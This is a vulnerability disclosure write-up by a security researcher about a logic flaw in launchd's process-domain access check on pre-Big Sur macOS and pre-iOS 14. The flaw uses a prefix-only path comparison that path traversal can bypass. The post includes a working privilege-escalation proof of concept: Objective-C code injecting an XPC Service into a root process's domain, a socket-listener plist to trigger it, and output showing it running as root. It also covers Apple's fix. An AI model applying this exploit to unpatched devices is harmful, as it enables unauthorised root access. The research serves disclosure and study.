Author: Zhipeng Huo(@R3dF09) of Tencent Security Xuanwu Lab

0x0 Introduction

In this blog, I will detail an interesting logic vulnerability I found in launchd process when it is managing the XPC Services. It’s easy be exploited and 100% stable to get high privilege in macOS/iOS. Because launchd is the most fundamental and important component in the OS, the vulnerability would also work even from the most restricted app sandbox. The vulnerability should work before macOS Big Sur and iOS 13.5.

0x1 XPC Service

An XPC Service is a bundle in the Contents/XPCServices directory of the main application bundle. You may not know about it, but it is very commonly used in OS.

Here is an example of XPC Service in FaceTime application.

XPC Service in FaceTime

XPC Services are managed by launchd and provide services to a single application. They are typically used to divide an application into smaller parts. This can be used to improve the reliability by limiting the impact if a process crashes, and to improve security by limiting the impact if a process is compromised.

XPC Service here should be distinguished from well-known LaunchDaemon and LaunchAgent. Relative to system-wide LaunchDaemon and login-user-wide LaunchAgent, XPC Service is process-wide service that could only be launched and called by specified application.

From macOS developer’s perspective, it’s very easy to add a XPC Service to a project in Xcode.

Xcode add XPC Service

0x2 Launchd process domain

As we had described, XPC Service is managed by launchd. How does launchd limit the XPC Service to a specified process? The answer is launchd process domain.

Process domain is like a namespace that stores all the XPC Service information which should only be fetched and modified by its owner process.

When a process wants to launch a XPC Service, launchd should find and launch that service from its process domain.

We could output the process domain information of specified PID with launchctl command.

e.g. launchctl print pid/129

More information about launchd domain could be found from saelo’s excellent talk bits_of_launchd.

0x3 The vulnerability

About process domain, launchctl usage has such a description.

“Only the process which owns the domain may modify it. Even root may not do so.”

The assumption make sense, because a process domain should only be used by its owner process. If a process could modify other process’s domain, it would be able to control that process’s running behavior. That’s ability would be very dangerous.

Did they really do as what they said?

If we could add a custom XPC Service to a root process’s domain, the XPC Service would probably be launched with that process’s privilege.

In launchd, each domain type has its access check function.

Let’s see the process domain access check when trying to add a XPC Service to a process domain in macOS before Big Sur.

process domain access check

The access check does not compare the caller pid and process domain’s owner pid. There are three possible conditions to bypass the access check.

  1. XPC Services added exist in the subdirectory of target process.

  2. The caller user is root.

  3. sandbox_check_by_audit_token("forbidden-launchd-control", SANDBOX_CHECK_NO_REPORT) == 0

We could add a XPC Service to a process domain if we could satisfy any of these conditions.

For condition 3, the api sandbox_check_by_audit_token is used to check if the process with this audit_token is in sandbox, if not, it would return 0. That means a process not in sandbox could add a custom XPC Service to other process domain.

For condition 1, how does it to check if the XPC Service in the process’s subdirectory.

1
2
3
4
5
6
bool __fastcall sub_10000B440(char *a1, char *a2)
{
size_t v2; // rax
v2 = strlen(a2);
return strncmp(a1, a2, v2) == 0;
}

This code just checks the start part of the string, so it would probably suffer from path traversal issue.

If we could pass in a path contains ../to this access check function, we could bypass the check and add custom XPC Service to a process domain even in the most restricted app sandbox.

0x4 Exploit

Until now, we have known that we may add a custom XPC Service to other process domain. We will exploit it to elevate privilege.

First, we need to find a usable target process domain.

In macOS, there are many root privilege processes have process domain. At here, I used /usr/sbin/systemsoundserverd

We could use command line to output the domain information: sudo launchctl print pid/308

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
com.apple.xpc.launchd.domain.pid.systemsoundserverd.308 = {
type = process
handle = 308
active count = 11
on-demand count = 1
service count = 10
active service count = 0
activity ratio = 0.00
originator = /usr/sbin
creator = systemsoundserv.308
creator euid = 0
uniqueid = 308
external activation count = 0
security context = {
uid unset
asid = 100000
}
...
}

For developers, It’s not needed to explicit create the process domain and add XPC Services to the domain. The libxpc framework would implicit do all the jobs for us in the initializer stage.

However, there still have an api xpc_add_bundles_for_domain in libxpc.dylib that could be used to add XPC Service to specified process domain. Of course, you could also use low level XPC message even MACH message to communicate with launchd through bootstrap port.

At here, I try to add a custom XPC Service which placed at the same directory of exploit application to a systemsoundserverd process domain through path traversal issue.

1
2
3
4
5
6
7
xpc_object_t pid_dict = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(pid_dict, "pid", 308); // target process domain
NSString* mainBundlePath = [[NSBundle mainBundle] bundlePath];
NSString* bundlePath = [NSString stringWithFormat:@"/usr/sbin/../..%@/../testXPC.xpc", mainBundlePath];
xpc_object_t xpc_bundle = xpc_string_create([bundlePath UTF8String]);
xpc_object_t paths = xpc_array_create(&xpc_bundle, 1); // XPC Services path
xpc_add_bundles_for_domain(pid_dict, paths);

When finished, we could output the XPC Service information in target process domain.

launchctl print pid/308/com.r3df09.test.testXPC

The output is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
com.r3df09.test.testXPC = {
active count = 0
copy count = 0
one shot = 0
path = /Users/r3df09/Desktop/testXPC.xpc
state = waiting
bundle id = com.r3df09.test.testXPC
bundle version = 1

program = /Users/r3df09/Desktop/testXPC.xpc/Contents/MacOS/testXPC
inherited environment = {
PATH => /usr/bin:/bin:/usr/sbin:/sbin
}
...
}

We could see that our XPC Service is added to systemsoundserverd‘s process domain.

However, our job is not finished yet!

The state of this XPC Service is waiting and not launched for now!

XPC Services are “launched-on-demand”. They are only started when an application creates a connection to the service and sends a message to it.

Though we could add a custom XPC Service to a root process domain, but we cannot control that root process to use our service.

We need to find a workable way to launch it!

From man launchd.plist, we know a service could monitor a file path or listen on a socket.

Here, I make the XPC Service listen on a socket port by adding the Sockets information on plist file of XPC Service.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<key>LaunchProperties</key>
<dict>
<key>Sockets</key>
<dict>
<key>Listeners</key>
<dict>
<key>SockServiceName</key>
<string>9999</string>
<key>SockType</key>
<string>stream</string>
</dict>
</dict>
</dict>
<key>XPCService</key>
<dict>
<key>ServiceType</key>
<string>Application</string>
</dict>

We could watch our custom XPC Service listen on the port 9999.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
com.r3df09.test.testXPC = {
...
sockets = {
"Listeners" = {
type = stream
service name = 9999

sockets = {
40 (no bytes to read)
45 (no bytes to read)
}

active = 0
passive = 1
bonjour = 0
ipv4v6 = 0
receive_packet_info = 0
}
}
...
}

We could also check network port 9999 is on listening by launchd.

1
2
3
4
5
6
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp4 0 0 *.9999 *.* LISTEN
tcp6 0 0 *.9999 *.* LISTEN
udp4 0 0 *.* *.*
udp4 0 0 *.56124 *.*

Any connections to this socket port would make launchd process start our XPC Service with root privilege.

1
2
3
4
5
6
r3df09@r3df09s-Mac ~ % ps -A | grep test
638 ?? 0:00.01 /Users/r3df09/Desktop/testXPC.xpc/Contents/MacOS/testXPC
643 ttys000 0:00.00 grep test
r3df09@r3df09s-Mac ~ % ps -p 638 -o uid,pid
UID PID
0 638

0x5 Apple’s Patch

To fix the vulnerability is not hard, just make sure only the owner of process domain could modify it.

In order to do it, launchd process domain access check function now get the audit_token of caller process, and always check the caller pid is the owner of target process domain.

0x6 About iOS

The talk above is mainly based on macOS. I know most of you are more care about iOS.

iOS and macOS share almost the same launchd code. So, the vulnerability did exist on iOS, it also suffers from the path traversal issue.

After I reported the vulnerability to Apple, they immediately and secretly change the method to get XPC Service path in iOS 13.5.

Before iOS 13.5, it used xpc_bundle_get_path to get the path of XPC Service. This api would return the original input path contains ../

From iOS 13.5, they changed the api to xpc_bundle_get_property with property type 2 which would return the realpath of XPC Service without ../ . The change tried to forbid using the path traversal issue to bypass the access check. It is still allowed to add XPC Service to other process domain if that XPC Service is in the subdirectory of target process.

From iOS 14.0, they finally started to check if the caller process is the owner of the process domain.

Though in iOS, developers are not allowed to use XPC Service directly. Apple itself uses it in many high privilege processes.

It’s not hard to find some useful targets. For example, /usr/sbin/wifid or /usr/sbin/mediaserverd .

By the way, Information about this vulnerability is lately added to iOS 14.0 security content at December 15, 2020

vulnerability on iOS

0x7 Conclusion

For developers and common users, XPC Services are easy to develop and use. It’s almost transparent to us. However, the internal mechanism of it is so complex, must have many interesting logic bugs there.

If you have questions or want to talk, you could find me at twitter @R3dF09, thanks for reading!